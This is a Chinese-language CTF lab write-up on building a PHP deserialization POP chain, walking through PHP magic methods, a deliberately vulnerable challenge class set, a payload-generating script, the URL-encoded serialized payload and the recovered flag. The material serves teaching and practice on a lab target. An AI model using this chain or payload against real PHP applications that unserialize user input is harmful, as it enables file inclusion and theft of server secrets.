php反序列化之pop链构造(基于重庆橙子科技靶场)

常见魔术方法的触发

__construct() //创建类对象时调用

__destruct() //对象被销毁时触发

__call() //在对象中调用不可访问的方法时触发

__callStatic() //在静态方式中调用不可访问的方法时触发

__get() //调用类中不存在变量时触发(找有连续箭头的 this->a->b)

__set() //给一个未定义的属性赋值时触发

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__sleep() //使用serialize()时触发

__wakeup() //执行unserialize()时触发

__toString() //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)

__invoke() //对象被当做函数进行调用时触发(找有括号的类似$a()这种)

__set_state() //使用var_export()时触发

__clone() //对象复制完成时调用

__autoload() //实例化一个未定义的类时触发

__debugInfo() //使用var_dump时触发

下面基于重庆橙子科技靶场讲解演示

题目源码:

php 复制代码
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

这种有很多类的 PHP 代码多半是需要构造pop链

代码审计:

简单看一下,需要给 pop 传参,并且会对传入内容进行反序列化操作

这里有三个类:Modifier、Show、Test

先找链尾,即:eval、flag 这些危险函数或者关键字

在第一个类中,找到输出 flag 的地方,发现需要调用append函数

调用append函数往上看发现需要触发 __invoke()

该魔术方法是当对象被当做函数进行调用时触发(找有括号的类似$a()这种)

在 Test 类中找到

再网上看发现需要触发__get()

调用类中不存在变量时触发(找有连续箭头的 this->a->b)

在 Show 类中找到

注意:这里的这个source并不是类Show中的 public $source,而是str下新的一个source。

继续往上发现需要触发__toString()

当对象被当做字符串时自动调用

找 echo , 也在Show类中,但我们也需要再对其实例化一遍

再往上就是__wakeup()函数

执行unserialize()时会自动调用,这里就是链头

按照上述顺序,编写pop链脚本

注意需要给private $var赋初值为flag.php,再通过include文件包含显示出flag的内容

由于这里涉及到私有变量(结果需要添加%00)

因此对结果进行url编码后再输出即可避免这个缺失的问题

php 复制代码
<?php
class Modifier {
    private $var = 'flag.php';
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$m = new  Modifier();
$t = new Test();
$t->p = $m;
$s = new Show();
$s->str = $t;
$s1 = new Show();
$s1->source = $s;
echo urlencode(serialize($s1))

?>

运行结果:

构造payload:

php 复制代码
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

回显flag:

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

相关推荐
小羊Linux客栈3 小时前
Python小程序:上班该做点摸鱼的事情
开发语言·python·小程序·游戏程序
咛辉3 小时前
如何搭建spark yarn 模式的集群集群。
开发语言
Taichi呀3 小时前
Laravel基础
php·laravel
CoderCodingNo3 小时前
【GESP】C++三级练习 luogu-B2118 验证子串
开发语言·c++
小彭努力中3 小时前
9.Three.js中 ArrayCamera 多视角相机详解+示例代码
开发语言·前端·javascript·vue.js·数码相机·ecmascript·webgl
学习中的码虫4 小时前
c#栈及其应用
开发语言·c#
武汉唯众智创4 小时前
网络安全攻防演练实训室建设方案
web安全·网络安全·攻防演练·网络安全实训室·网络安全攻防演练实训室·网络安全攻防演练·攻防演练实训室
bai_lan_ya4 小时前
C语言中结构体的字节对齐的应用
c语言·开发语言
小陈094 小时前
Java后端图形验证码的使用
java·开发语言·状态模式